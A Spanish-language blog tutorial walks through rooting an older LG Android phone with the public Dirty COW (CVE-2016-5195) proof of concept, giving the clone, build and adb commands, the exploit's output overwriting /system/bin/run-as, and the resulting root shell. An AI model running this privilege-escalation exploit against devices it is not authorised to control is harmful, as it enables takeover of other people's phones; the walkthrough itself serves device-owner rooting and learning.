Ir al contenido principal

Android superusuario sin root

Para dispositivos Android anteriores a 2016 es posible aprovechar una vulnerabilidad del sistema operativo llamada Dirty Cow (Copy on Write). A continuación se muestra cómo realizar esto utilizando el celular LG L20 y Lubuntu 19.04 (64 bits).

1. Pasos previos:
1.1. Configurar el dispositivo para que acepte adb. Modo desarrollador -> USB Debugging.
1.2. Instalar adb en lubuntu (Opcionalmente también fastboot aunque no es necesario para este procedimiento).

$ sudo apt-get install android-tools-adb



2. Utilizaremos la siguiente prueba de concepto: https://github.com/timwr/CVE-2016-5195

2.1. Clonar el repositorio:
$ git clone https://github.com/timwr/CVE-2016-5195

2.2. Según el procedimiento, el siguiente paso es conectar el celular y ejecutar el siguiente comando.
$ cd CVE-2016-5195
$ make root

Al ejecutar esta sentencia el sistema operativo devuelve el siguiente error.

andres@andres-pc:~/CVE-2016-5195$ make root
* daemon not running; starting now at tcp:5037
* daemon started successfully
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19
make: ndk-build: Command not found
make: *** [Makefile:8: build] Error 127


2.3.Lo que indica que debemos instalar Android NDK, para ello debemos descargar NDK, descomprimirlo y agregarlo al path del sistema:

$ cd $HOME
$ wget https://dl.google.com/android/repository/android-ndk-r14b-linux-x86_64.zip
$ unzip android-ndk-r14b-linux-x86_64.zip
$ export PATH="$PATH:$HOME/android-ndk-r14b/"

2.4. Nuevamente al ejecutar el paso 2.2. make root el sistema indicará que no se encuentra disponible la biblioteca libncurses.5. Revisando el sistema operativo lubuntu se encuentra la version 6 de libncurses por lo que se debe instalar también la versión 5.

$ sudo apt-get install libncurses5

2.5. Apagar el celular, conectarlo al cable de USB y proceder a ejecutar el paso 2.2. nuevamente.

$ cd CVE-2016-5195
$ make root

El sistema devolverá lo siguiente:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19
make[1]: Entering directory `/home/andres/CVE-2016-5195'
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
make[1]: Leaving directory `/home/andres/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
libs/armeabi-v7a/dirtycow: 1 file pushed. 0.5 MB/s (17880 bytes in 0.032s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
libs/armeabi-v7a/run-as: 1 file pushed. 0.4 MB/s (5544 bytes in 0.014s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (9440) differ

[*] size 9440
[*] mmap 0x40147000
[*] currently 0x40147000=464c457f
[*] using /proc/self/mem method
[*] madvise = 0x40147000 9440
[*] madvise = 0 2
[*] /proc/self/mem 490880 52
[*] exploited 0 0x40147000=464c457f

2.6. Obtener permisos de superusuario sin rootear el dispositivo mediante Dirty Cow, para ello ejecutar los comandos adb shell, y una vez posicionado en el celular ejecutar run-as y luego id:

$ adb shell
shell@luv20ss:/ $
shell@luv20ss:/ $ run-as

uid run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
shell@luv20ss:/ #

shell@luv20ss:/ # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
shell@luv20ss:/ #

Se observa que la sesión posee usuario root. De momento para este celular no he encontrado la posibilidad de que además el grupo sea también root y esta sesión no permite acceder a la carpeta data.-

El presente procedimiento está basado en partes del procedimiento listado https://github.com/j0nk0/GetRoot-Android-DirtyCow

Comentarios